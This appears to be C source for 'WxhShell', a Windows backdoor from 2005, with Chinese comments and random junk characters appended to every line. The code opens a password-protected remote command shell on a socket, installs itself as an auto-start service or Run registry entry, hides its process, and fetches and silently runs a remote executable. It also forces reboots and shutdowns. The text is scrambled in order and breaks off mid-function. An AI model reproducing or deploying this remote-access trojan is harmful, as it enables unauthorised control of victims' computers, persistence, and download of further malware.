    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9{fP.ifdv7  
    if(Boot(SHUTDOWN)) TW& s c9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #\X)|p2  
    else { }bw^p.ci  
    closesocket(wsh); -S]ercar  
    ExitThread(0); k0j4P^d  
    } $=\=80u/  
    break; $rj:K)P  
    } 0O'M^[=d.8  
  // 获取shell #0r^<Yn  
  case 's': { {'zS8  
    CmdShell(wsh);  )XonFI  
    closesocket(wsh); :|5 m"X\  
    ExitThread(0); cu}(\a  
    break; UUWRC1EtI  
  } >b\|%=(x!*  
  // 退出 I52nQCXi  
  case 'x': { 0);5cbV7i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -<x%  
    CloseIt(wsh); o0No"8DnjH  
    break; YC%x W*  
    } dl=)\mSFjF  
  // 离开 fIpS P@$<  
  case 'q': { +arh/pd_I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~_;.ZZ-H]  
    closesocket(wsh); YkFLNCg4}  
    WSACleanup(); > )Qq^?U  
    exit(1); 66>X$nx(z  
    break; Nt\07*`qCr  
        } KF *F  
  } m $[:J  
  } ? 3DFm  
5u9lKno  
  // 提示信息 ,Zie2I?q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *j83E[(]  
} :1f,%Z$,q  
  } 4IZAJqw(*  
_s#J\!F  
  return; @dK_w 'W  
} lW-G]V  
A ,0}bFK  
// shell模块句柄  Hvz;[!  
int CmdShell(SOCKET sock) %fld<O  
{ n,2p)#?  
STARTUPINFO si; :fRta[  
ZeroMemory(&si,sizeof(si)); )M7yj O!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jityb}Z"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DHn\ =M  
PROCESS_INFORMATION ProcessInfo; w;$elXP|  
char cmdline[]="cmd"; dAG@'A\f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iDDq<a.A  
  return 0; >j]Gz-wC  
} tC1'IE-h  
%Jl6e}!  
// 自身启动模式 }L Q%%  
int StartFromService(void) mgjcA5z  
{ gF9GU5T:  
typedef struct @+~URIG)  
{ [%LGiCU]  
  DWORD ExitStatus; `@\FpV[|P  
  DWORD PebBaseAddress; ?-&k?I  
  DWORD AffinityMask; ?7CdJgJp  
  DWORD BasePriority; Ye|gW=FUR  
  ULONG UniqueProcessId; 0?FJ ~pu  
  ULONG InheritedFromUniqueProcessId; G@D8 [  
}   PROCESS_BASIC_INFORMATION; 8}[<3K%*g  
&VU^d3gv~  
PROCNTQSIP NtQueryInformationProcess; ok,O/|E}?  
}@$CS5w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gmTBp}3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5<GeAW8ns]  
pT+OPOSR  
  HANDLE             hProcess; 4avkyFj!h  
  PROCESS_BASIC_INFORMATION pbi; B;Z _'.i,d  
hb1h .F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [Ti ' X#  
  if(NULL == hInst ) return 0; _{if"  
ffB<qf)?G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?:GrM!kq76  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zBI2cB8;P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R ^@`]dX$  
&>.QDO  
  if (!NtQueryInformationProcess) return 0; +c]D2@ctG  
S~z$ =IiB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H,;ZFg/v8  
  if(!hProcess) return 0; n~>b}DY  
H^B,b !5i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xV`)?hEXFh  
hms Aim9i  
  CloseHandle(hProcess); mOjjw_3gq  
`K$;K8!1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dEf5x_TGm  
if(hProcess==NULL) return 0; ~nj+" d]  
* kL>9  
HMODULE hMod; ):+^893)  
char procName[255]; k|]l2zlT  
unsigned long cbNeeded; "j&p3  
=RWY0|f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DKlHXEt>  
$y<`Jy]+)~  
  CloseHandle(hProcess); _wg~5'w8  
v7+|G'8M`  
if(strstr(procName,"services")) return 1; // 以服务启动 kiin78W  
S._h->5f  
  return 0; // 注册表启动 HF&d HD2f  
} [;toumv  
(Ze\<Y#cv  
// 主模块 `"~X1;  
int StartWxhshell(LPSTR lpCmdLine) 7|J&fc5BP  
{ ex|)3|J  
  SOCKET wsl; a(JtGjTf&  
BOOL val=TRUE; y </i1qM  
  int port=0; CpgaQG^  
  struct sockaddr_in door; Ym]rG 4  
2gvS`+<TP  
  if(wscfg.ws_autoins) Install(); Mns=X)/hc  
E[CvxVCx  
port=atoi(lpCmdLine); Vhm^<I-d  
sdewz(xskj  
if(port<=0) port=wscfg.ws_port; v<0S@9~  
N'5DB[:c:  
  WSADATA data; RzB64  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *:l$ud  
HW6Cz>WxOW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =/xXB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }ZwnG=7T?  
  door.sin_family = AF_INET; &t@ $]m(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eEmLl(Lb  
  door.sin_port = htons(port); -42 U  
!P6y_Frpe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ri9n.-xs  
closesocket(wsl); Eh`W J~  
return 1; M9yqJPS}B  
} #TP Y%  
G0r(xP?  
  if(listen(wsl,2) == INVALID_SOCKET) { ,5sv;  
closesocket(wsl); wDh&S{N  
return 1; w6B`_Z'f  
} iVqF]2 >  
  Wxhshell(wsl); 9I|Q`j?p`  
  WSACleanup(); {#{nU NW  
% e70*;  
return 0; giN(wPgYP  
LR17ilaa'  
} +hWeN&A  
[9p@uRE  
// 以NT服务方式启动 mL, {ZL ^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l4^8$@;s  
{ NXE1v~9V  
DWORD   status = 0; "yXqf%CGE  
  DWORD   specificError = 0xfffffff; Y}x_ud,  
F|WH=s3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; okW'}@jD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Pb :6nH=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \ItAc2,Fl  
  serviceStatus.dwWin32ExitCode     = 0; ~1{~iB2G  
  serviceStatus.dwServiceSpecificExitCode = 0;  ~#z b  
  serviceStatus.dwCheckPoint       = 0; L\<J|87p?  
  serviceStatus.dwWaitHint       = 0; } M\G  
YGq-AB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 69C ss'  
  if (hServiceStatusHandle==0) return; qkyYt#4E  
abV,]x&.0  
status = GetLastError(); 6tM@I`l  
  if (status!=NO_ERROR) .aIFm5N3?  
{ T~N877  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %x$mAOUv  
    serviceStatus.dwCheckPoint       = 0; 0I.!  
    serviceStatus.dwWaitHint       = 0; *\wf(o>Q  
    serviceStatus.dwWin32ExitCode     = status; K;f=l5  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]"1\z>Hg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j)O8&[y=  
    return; `udZ =S"/L  
  } 3dI(gm6  
0k|/]zfb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "  6  
  serviceStatus.dwCheckPoint       = 0; 'seuO!5  
  serviceStatus.dwWaitHint       = 0; -(.\> F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -_Iuvw  
} iw EHEi%  
YpbJoHiSH  
// 处理NT服务事件,比如:启动、停止 `JG7Pl/ih  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yz=6 V%  
{ $%J $  
switch(fdwControl) Vg"Ze[dA  
{ V P4ToYc  
case SERVICE_CONTROL_STOP: i>rsq[l  
  serviceStatus.dwWin32ExitCode = 0; " []J[!}x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L2y{\<JC"  
  serviceStatus.dwCheckPoint   = 0; |.U- yyz  
  serviceStatus.dwWaitHint     = 0; ,%]s:vk[u  
  { 0EP8MRSR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kI$p~  
  } M7IQJFra  
  return; DWJkN4}o  
case SERVICE_CONTROL_PAUSE: /K#J63 ,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]G2%VKkr  
  break; C}mWX7<Z.  
case SERVICE_CONTROL_CONTINUE: e%DF9}M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~;Xkt G:  
  break; I*i$!$Bx2  
case SERVICE_CONTROL_INTERROGATE: b(gcnSzM2  
  break; m-!z(vcn  
}; |teDe6 \m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k+&1?]   
} SxCzI$SGu  
,_t}\7  
// 标准应用程序主函数 -wV0Nv(V8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 38q0iAH  
{ 'r?OzFtxh  
[ w1"  
// 获取操作系统版本 \ 8X8N CM  
OsIsNt=GetOsVer(); (vf5qF^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FwGMrJW  
c'6$`nC  
  // 从命令行安装 F1o"H/:n  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?rH=<#@  
> 'KQL?!F  
  // 下载执行文件 #8jH_bi  
if(wscfg.ws_downexe) { \OXKK<^$uK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }GTy{Y*&  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3/hAxd  
} /2!"_?<L  
:WnXoL  
if(!OsIsNt) { &U/~*{  
// 如果时win9x,隐藏进程并且设置为注册表启动 QCWk[Gx  
HideProc(); cM'5m  
StartWxhshell(lpCmdLine); =8fZG t  
} dQL! >6a  
else OG}D;Ew  
  if(StartFromService()) QWGFXy,=1  
  // 以服务方式启动 !bCLi>8  
  StartServiceCtrlDispatcher(DispatchTable); &9'JHF!l  
else S\UM0G}v  
  // 普通方式启动 +nslS:(  
  StartWxhshell(lpCmdLine); I2=Kq{  
R OQIw  
return 0; =<[ZFO~v  
} p{Gg,.f!HM  
s2ys>2k  
WH$ Ls('  
oYN# T=Xi  
=========================================== 62LQUl]<  
*ha9Vq@X  
$bKa"T*  
Fw5r\J87c  
K\ \U F  
|KC3^  
" .*g;2.-qv&  
@]h#T4z'  
#include <stdio.h> <!|2Ru  
#include <string.h> GS3ydN<v  
#include <windows.h> 2WOdTM{u  
#include <winsock2.h> 7iKbd  
#include <winsvc.h> XfT6,h7vFL  
#include <urlmon.h> yx}Z:t  
_n{6/  
#pragma comment (lib, "Ws2_32.lib") y!^RL,HIL  
#pragma comment (lib, "urlmon.lib") /(nA)V( :  
 U\~[  
#define MAX_USER   100 // 最大客户端连接数 qO9_ e  
#define BUF_SOCK   200 // sock buffer <`9:hPp0  
#define KEY_BUFF   255 // 输入 buffer \rf1#Em  
t>v']a +k  
#define REBOOT     0   // 重启 EH$wW l^  
#define SHUTDOWN   1   // 关机 h OboM3_  
qwaw\vOA  
#define DEF_PORT   5000 // 监听端口 4p~:(U[q  
(<.1o_Q-LU  
#define REG_LEN     16   // 注册表键长度 2s6Hr;^w.1  
#define SVC_LEN     80   // NT服务名长度 {_/6,22j(V  
I>-jKSkwc  
// 从dll定义API tZXtt=M w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q#Qr@Jf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GW{Nc !)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TniZ!ud  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rb~Kyy$  
=4MiV]  
// wxhshell配置信息 FM7N|] m  
struct WSCFG { "=f*Lk@[  
  int ws_port;         // 监听端口 <ZrZSt+<  
  char ws_passstr[REG_LEN]; // 口令 +V8yv-/{  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3P6!j  
  char ws_regname[REG_LEN]; // 注册表键名 "5jZS6A]  
  char ws_svcname[REG_LEN]; // 服务名 si nG $=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l>&)_:\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a4: PufS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *G~c6B Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d*>M<6b-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z4J-qK~2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a3lo;Cfp  
:({lXGc}4?  
}; p-; ]O~^  
65J'u N  
// default Wxhshell configuration x{ZVq 4  
struct WSCFG wscfg={DEF_PORT, uX0wg  
    "xuhuanlingzhe", ?0;b}Xl-  
    1, ohM'Fx"q  
    "Wxhshell", ;. :UfW  
    "Wxhshell", l2`8]Qr   
            "WxhShell Service", T)Nis~  
    "Wrsky Windows CmdShell Service", >v<}$v6D~  
    "Please Input Your Password: ", ,.}PZL  
  1, uV 6f~cQ  
  "http://www.wrsky.com/wxhshell.exe", G(0 bulq  
  "Wxhshell.exe" j^!J: Bj  
    }; ) L{Tn 8  
{U(h]'  
// 消息定义模块 $uLzC]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tc,7yo\".  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QX]tD4OH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (I~,&aBr  
char *msg_ws_ext="\n\rExit."; m#;:%.Rm  
char *msg_ws_end="\n\rQuit."; \AK|~:\]  
char *msg_ws_boot="\n\rReboot..."; "?9fL#8f*!  
char *msg_ws_poff="\n\rShutdown..."; $qrr]U  
char *msg_ws_down="\n\rSave to "; &gEu%s^wR  
Vd1K{rH#  
char *msg_ws_err="\n\rErr!"; y?unI~4tC  
char *msg_ws_ok="\n\rOK!"; 'FUPv61()  
=k/n  
char ExeFile[MAX_PATH]; M K[spV  
int nUser = 0; =0]Mc$Ih  
HANDLE handles[MAX_USER]; y=j[v},4  
int OsIsNt; bL[PNUG  
m9B3]H  
SERVICE_STATUS       serviceStatus; 2\5@_U^)h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mmKrmM*1  
I] "$h]T  
// 函数声明 sw@2 ?+  
int Install(void); .N+xpxdG,  
int Uninstall(void); IkZ_N#m  
int DownloadFile(char *sURL, SOCKET wsh);  #b"IX`5  
int Boot(int flag); YJ6vyG>%C  
void HideProc(void); Vut.oB$ ~  
int GetOsVer(void); R{rV1j#@!a  
int Wxhshell(SOCKET wsl); a "1$z`ln  
void TalkWithClient(void *cs); n[WeN NU  
int CmdShell(SOCKET sock); 0F~9t !  
int StartFromService(void); :<v$vER,&  
int StartWxhshell(LPSTR lpCmdLine); BxT~1SBFq  
UQdQtj1'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cg|uHI*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 88*RlxU  
d!LV@</  
// 数据结构和表定义 ( gFA? aD<  
SERVICE_TABLE_ENTRY DispatchTable[] = &sNID4FR  
{ aw4+1.xy  
{wscfg.ws_svcname, NTServiceMain}, T8(wzs  
{NULL, NULL} GSFT(XX  
}; t/D Q<B_  
1*jL2P]D  
// 自我安装 :hr@>Y~r  
int Install(void) 7cy~qg  
{ xXYens}  
  char svExeFile[MAX_PATH]; B*AMo5  
  HKEY key; V$_0VN'+Z  
  strcpy(svExeFile,ExeFile); 6;b 'j\jG  
[;2:lbPx  
// 如果是win9x系统,修改注册表设为自启动 D vKM>P%|  
if(!OsIsNt) { ;VH]TKkk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <EUSl|6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "PHv~_:^R  
  RegCloseKey(key); g|HrhUT;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zll^tF#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^U?(g0<"  
  RegCloseKey(key); 9M=K@a  
  return 0; c\'pA^m 6  
    } ri;M7rg`.{  
  } .0-m=3mp2  
} ykeUS zz2  
else { Y_B 4s-  
iL gt_@g  
// 如果是NT以上系统,安装为系统服务 4a|Fx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '9dtIW6E  
if (schSCManager!=0) Om"3Q/&  
{ [-gKkOT8E  
  SC_HANDLE schService = CreateService <khAc1"  
  ( UmE{>5Pt  
  schSCManager, Cr%r<*s  
  wscfg.ws_svcname, _Xv/S_yW  
  wscfg.ws_svcdisp, >PVi 3S  
  SERVICE_ALL_ACCESS, @[RY8~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *Kkw,qp/  
  SERVICE_AUTO_START, 'nS3o.}  
  SERVICE_ERROR_NORMAL, 6V?RES;X  
  svExeFile, 4<K`yU]"  
  NULL, *4:/<wI!  
  NULL, xwxjj  
  NULL, z{jAt6@7  
  NULL, `4q}D-'TF8  
  NULL kZ}u  
  ); PPO<{  
  if (schService!=0) g DG m32  
  { 15:@pq\  
  CloseServiceHandle(schService); TjK5UML  
  CloseServiceHandle(schSCManager); 90ag!   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jq)|7_N  
  strcat(svExeFile,wscfg.ws_svcname); <3x#(ms!!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Lx{N%;t*E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @b{u/:y  
  RegCloseKey(key); &FVlTo1  
  return 0; 7uxPkZbb  
    } IR8&4qOs  
  } _q_[<{#  
  CloseServiceHandle(schSCManager); 'uzv\[  
} z=_{jjs  
} PI \,`^)y  
o#) !b:/  
return 1; L,pSdeq  
} <xjv7`G7  
xm0#4GFUS  
// 自我卸载 {kH^OZ^(e  
int Uninstall(void) B[B<U~I}  
{ \=V[ba:q  
  HKEY key; cgeS)C7  
Le JlTWotC  
if(!OsIsNt) { f{c[_OR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kte.E%.PE  
  RegDeleteValue(key,wscfg.ws_regname); :+Ax3  
  RegCloseKey(key); gtGKV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aQ:f"0fL  
  RegDeleteValue(key,wscfg.ws_regname); AJd.K'=8  
  RegCloseKey(key); -*fYR#VQQB  
  return 0; l_-n&(N2<[  
  } m=,c,*>  
} Q_.c~I}yV  
} /j/%wT2m  
else { 5@ +Ei25  
Z*>/@J}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f$|v0Xs  
if (schSCManager!=0) o>-v?Ug  
{ s7i.p]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -+>r4P  
  if (schService!=0) /B\-DP3K  
  { tB=D&L3  
  if(DeleteService(schService)!=0) { G1_@! 4  
  CloseServiceHandle(schService); cu`J2vm3  
  CloseServiceHandle(schSCManager); vW-`=30  
  return 0; T$8~9 qx  
  } <?{}Bo0xG  
  CloseServiceHandle(schService); L{A-0Ffh  
  } ]</4#?_  
  CloseServiceHandle(schSCManager); +()t8,S,  
} ^MHn2Cv/~  
} *Yu\YjLPG  
-yQ\3wli`  
return 1; j~*Z7iu  
} e=z_+gVm  
x0h3jw+6  
// 从指定url下载文件 ![]I%'s  
int DownloadFile(char *sURL, SOCKET wsh) H"rzRd; S  
{ /+t[,  
  HRESULT hr; UZ\*]mxT  
char seps[]= "/"; kF,\bM  
char *token; =&VXn{e  
char *file; 3|+f si)x  
char myURL[MAX_PATH]; H..ZvGu  
char myFILE[MAX_PATH]; ,Zf!KQw  
d74g|`/  
strcpy(myURL,sURL); !GGGh0Bj  
  token=strtok(myURL,seps); niHL/\7u  
  while(token!=NULL) jJ"EGFa8  
  { s P4 ,S(+e  
    file=token; 71"JL",  
  token=strtok(NULL,seps); zMYd|2bc  
  } 53t- 'K0l  
8Cs$NUU  
GetCurrentDirectory(MAX_PATH,myFILE); 0yC`9g)(  
strcat(myFILE, "\\"); a950M7  
strcat(myFILE, file); iQ{&&>V%  
  send(wsh,myFILE,strlen(myFILE),0); 4G8nebv  
send(wsh,"...",3,0); /4 LR0`A'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W _,;eyo  
  if(hr==S_OK) ,ANK3n\  
return 0; l \^nC2  
else Sj{ia2AE_  
return 1; rt^45~  
{rvbo1t  
} t0J5v;  
LJ(n?/z%  
// 系统电源模块 6=,#9C9  
int Boot(int flag) CFJjh^ ~=  
{ H[7cA9FI  
  HANDLE hToken; x:?a;muf  
  TOKEN_PRIVILEGES tkp; '#N5i  
#jLaIXms  
  if(OsIsNt) { ?S&w0}R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sVZZp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ljJz#+H2_  
    tkp.PrivilegeCount = 1; /"Yx@n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TA0D{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lg onR  
if(flag==REBOOT) { |N$?_<H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <P^hYj-swh  
  return 0; mheU#&|  
} 1n`1o-&l-  
else { .^LL9{?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q^N0abzgP  
  return 0; ;sChxQ=.^  
} SCurO9RN  
  } !/nx=vg p  
  else { Itr7lv'5xx  
if(flag==REBOOT) { e*P=2*]M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A }-&C  
  return 0; \POnsM)+l  
} \|~?x#aA  
else { !FB \h<6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %Nm @f'  
  return 0; l7'{OB L  
} lkg"'p{  
} R#/?AD&  
e$Bf[F#;-  
return 1; :6W^ S/pf  
} $Pd|6  
9si}WqAw  
// win9x进程隐藏模块   ^RV  
void HideProc(void) _3.G\/>[K  
{ p/hvQy E  
|0L=8~M(j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e?!L}^f6X  
  if ( hKernel != NULL ) w#xeua|*I#  
  { 7<3U?]0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2Io6s '  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q=(@K4  
    FreeLibrary(hKernel); o9ctJf=qn  
  } %GX uuE}mX  
RVkU+7  
return; ^`rpf\GX(  
} d@4rD}_Z  
 dd<:#c9  
// 获取操作系统版本 pgLtD};S  
int GetOsVer(void) Har~MO?A  
{ D1X4|Q*SK  
  OSVERSIONINFO winfo; 0iJ!K;A2%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _~;&)cn,0  
  GetVersionEx(&winfo); b " ")BT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dn_"B0$lk  
  return 1; zJ;>.0  
  else 6 u-$  
  return 0; /mn-+u`K  
} h(@R]GUX  
}!%JYG^!D  
// 客户端句柄模块 ~H^'al2PK  
int Wxhshell(SOCKET wsl) > -y&$1  
{ )N" Ew0U  
  SOCKET wsh; vZ$U^>":  
  struct sockaddr_in client; i<T P:  
  DWORD myID; pWs\.::B  
g@~!kh,TH  
  while(nUser<MAX_USER) ](W5.a,-$L  
{ D XV@DQ  
  int nSize=sizeof(client); 7}4'dW.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <nWKR,  
  if(wsh==INVALID_SOCKET) return 1; , 3X: )  
TN35CaSmq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F{k$Atb?g/  
if(handles[nUser]==0) BXg!zW%+  
  closesocket(wsh); >Mvka;T]  
else yiV G ]s  
  nUser++; (j' {~FB  
  } 7qe7F l3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *@_u4T7|{  
keLR1qf  
  return 0; 7]Al*)  
} D~#Ei?aH  
%K[daXw6E8  
// 关闭 socket :O $@shV  
void CloseIt(SOCKET wsh)  nbI= r+  
{ AGOx@;w  
closesocket(wsh); I-b_h5ZD6  
nUser--; VF)uu[ f9  
ExitThread(0); Y1{B c<tC  
} D ]OD.  
HA6G)x  
// 客户端请求句柄 KRYcCn  
void TalkWithClient(void *cs)  fb\DiKsW  
{ ugYw <  
 ep+  
  SOCKET wsh=(SOCKET)cs; (1CJw:  
  char pwd[SVC_LEN]; ?Z q_9T7  
  char cmd[KEY_BUFF]; w *50ZS;N  
char chr[1]; i S%  
int i,j; bGv* -;*  
L#D9@V'z  
  while (nUser < MAX_USER) { *q0`})IQ  
*'D=1{WZ!  
if(wscfg.ws_passstr) { z[fB!O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lT.zNhz:d9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2fJ{LC  
  //ZeroMemory(pwd,KEY_BUFF); v:KX9A.  
      i=0; b'i'GJBQ+$  
  while(i<SVC_LEN) { ,c>N}*6h=W  
`Da+75 f6v  
  // 设置超时 '\`6ot8  
  fd_set FdRead; ^ [k0k(_  
  struct timeval TimeOut; 3{"byfO#%  
  FD_ZERO(&FdRead); IU@_)I+6  
  FD_SET(wsh,&FdRead); NbtGlSs8  
  TimeOut.tv_sec=8; AoBoFZLl3  
  TimeOut.tv_usec=0; 9)`amhf>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z3a-+NjDm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }e 9!xA  
;54(+5pqx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;DuXS y!g  
  pwd=chr[0]; [C1 LT2a  
  if(chr[0]==0xd || chr[0]==0xa) { @mf({Q>  
  pwd=0; 17}$=#SX  
  break; V/PAi.GZ  
  } Py|;kF~![  
  i++; dpwD8Q< U  
    } !@G)$g=<  
}j46L1T  
  // 如果是非法用户,关闭 socket .WvlaPK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?aBj#  
} mEFw|M{  
Yd:Q`#7A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f1mHN7hxW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !}y1CA  
hSB?@I4s<\  
while(1) { $Pxb1E  
B^fT>1P  
  ZeroMemory(cmd,KEY_BUFF); t9FDU  
+2RNZEc  
      // 自动支持客户端 telnet标准   fW?sYC'  
  j=0;  ~,"N[Q  
  while(j<KEY_BUFF) { j!\dn!Xwt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?}}qu'N:N  
  cmd[j]=chr[0]; $&hN*7Ts  
  if(chr[0]==0xa || chr[0]==0xd) { p3c"ZPO~z  
  cmd[j]=0; 8d!GZgC8R  
  break; Qzqc .T  
  } a+`D'?z  
  j++; BkawL,  
    } 3JO]f5  
}aF  
  // 下载文件 *5k+t  
  if(strstr(cmd,"http://")) { wv?RO*E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ESTM$k }X  
  if(DownloadFile(cmd,wsh)) VO=!8Yx[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qP3q  
  else [dB$U}SEj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4zjs!AK%  
  } rh!;|xB|+  
  else { #(KDjnP[  
